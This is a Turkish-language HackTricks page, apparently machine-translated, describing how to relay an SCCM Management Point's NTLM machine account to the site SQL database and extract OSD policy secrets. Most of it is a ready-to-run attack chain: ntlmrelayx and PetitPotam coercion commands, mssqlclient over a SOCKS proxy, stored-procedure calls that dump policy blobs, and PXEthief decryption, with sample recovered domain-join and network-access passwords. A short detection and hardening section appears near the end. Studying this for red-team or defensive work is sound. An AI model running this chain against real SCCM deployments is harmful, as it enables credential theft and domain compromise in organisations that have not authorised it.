SCCM Yönetim Noktası NTLM Relay ile SQL – OSD Politika Gizli Çıkarma
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
TL;DR
Bir System Center Configuration Manager (SCCM) Yönetim Noktası (MP)'nı SMB/RPC üzerinden kimlik doğrulamaya zorlayarak ve bu NTLM makine hesabını site veritabanına (MSSQL) aktarıp smsdbrole_MP
/ smsdbrole_MPUserSvc
haklarını elde edersiniz. Bu roller, İşletim Sistemi Dağıtımı (OSD) politika blob'larını (Ağ Erişim Hesabı kimlik bilgileri, Görev Dizisi değişkenleri vb.) açığa çıkaran bir dizi saklı prosedürü çağırmanıza olanak tanır. Blob'lar hex kodlu/şifreli olup, PXEthief ile çözülebilir ve şifresi çözülebilir, düz metin gizli bilgileri verir.
Yüksek seviyeli zincir:
- MP & site DB'yi keşfet ↦ kimlik doğrulaması yapılmamış HTTP uç noktası
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA
. ntlmrelayx.py -t mssql://<SiteDB> -ts -socks
başlat.- MP'yi PetitPotam, PrinterBug, DFSCoerce vb. kullanarak zorla.
- SOCKS proxy üzerinden
mssqlclient.py -windows-auth
ile aktarılan\ hesabı olarak bağlan.$ - Aşağıdakileri çalıştır:
use CM_<SiteCode>
exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'
(veyaMP_GetPolicyBodyAfterAuthorization
)
0xFFFE
BOM'u çıkar,xxd -r -p
→ XML →python3 pxethief.py 7 <hex>
.
OSDJoinAccount/OSDJoinPassword
, NetworkAccessUsername/Password
gibi gizli bilgiler, PXE veya istemcilerle etkileşime girmeden kurtarılır.
1. Kimlik doğrulaması yapılmamış MP uç noktalarını listeleme
MP ISAPI uzantısı GetAuth.dll, kimlik doğrulaması gerektirmeyen birkaç parametre sunar (site yalnızca PKI ise):
Parametre | Amaç |
---|---|
MPKEYINFORMATIONMEDIA | Site imzalama sertifikası genel anahtarını + x86 / x64 Tüm Bilinmeyen Bilgisayarlar cihazlarının GUID'lerini döndürür. |
MPLIST | Sitedeki her Yönetim Noktasını listeler. |
SITESIGNCERT | Birincil Site imzalama sertifikasını döndürür (site sunucusunu LDAP olmadan tanımlar). |
Daha sonraki DB sorguları için clientID olarak kullanılacak GUID'leri alın:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. MP makine hesabını MSSQL'e iletme
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
Zorlamanın tetiklendiğinde şöyle bir şey görmelisiniz:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. OSD politikalarını saklanan prosedürler aracılığıyla tanımlayın
SOCKS proxy üzerinden bağlanın (varsayılan olarak port 1080):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
CM_CM_001
).
3.1 Bilinmeyen Bilgisayar GUID'lerini Bulun (isteğe bağlı)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 Atanan politikaları listele
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
Her satır PolicyAssignmentID
, Body
(hex), PolicyID
, PolicyVersion
içerir.
Politikalara odaklanın:
- NAAConfig – Ağ Erişim Hesabı kimlik bilgileri
- TS_Sequence – Görev Sırası değişkenleri (OSDJoinAccount/Password)
- CollectionSettings – Çalıştırma hesabı içerebilir
3.3 Tam gövdeyi al
Eğer zaten PolicyID
ve PolicyVersion
'a sahipseniz, clientID gereksinimini atlayabilirsiniz:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
ÖNEMLİ: SSMS'de "Maksimum Alınan Karakterler" değerini artırın (>65535) aksi takdirde blob kesilecektir.
4. Blob'u çöz ve şifreyi çöz
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
Kurtarılan gizli bilgiler örneği:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. İlgili SQL rolleri ve prosedürleri
Relay sırasında oturum açma şu şekilde eşlenir:
smsdbrole_MP
smsdbrole_MPUserSvc
Bu roller, bu saldırıda kullanılan ana EXEC izinleri de dahil olmak üzere, onlarca EXEC izni sunar:
Saklanan Prosedür | Amaç |
---|---|
MP_GetMachinePolicyAssignments | Bir clientID için uygulanan politikaları listele. |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization | Tam politika gövdesini döndür. |
MP_GetListOfMPsInSiteOSD | MPKEYINFORMATIONMEDIA yolu tarafından döndürülür. |
Tam listeyi inceleyebilirsiniz:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. Tespit ve Güçlendirme
- MP oturumlarını izleyin – herhangi bir MP bilgisayar hesabının, ana bilgisayarı olmayan bir IP'den oturum açması ≈ relay.
- Site veritabanında Kimlik Doğrulama için Genişletilmiş Koruma (EPA)'yı etkinleştirin (
PREVENT-14
). - Kullanılmayan NTLM'yi devre dışı bırakın, SMB imzasını zorlayın, RPC'yi kısıtlayın (aynı önlemler
PetitPotam
/PrinterBug
için kullanılır). - MP ↔ DB iletişimini IPSec / karşılıklı-TLS ile güçlendirin.
Ayrıca bakınız
- NTLM relay temelleri:
- MSSQL kötüye kullanımı ve sonrası:
Referanslar
- Yöneticiyle Konuşmak İsterim: Yönetim Noktası Relay'leri ile Sırları Çalmak
- PXEthief
- Yanlış Yapılandırma Yöneticisi – ELEVATE-4 & ELEVATE-5
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.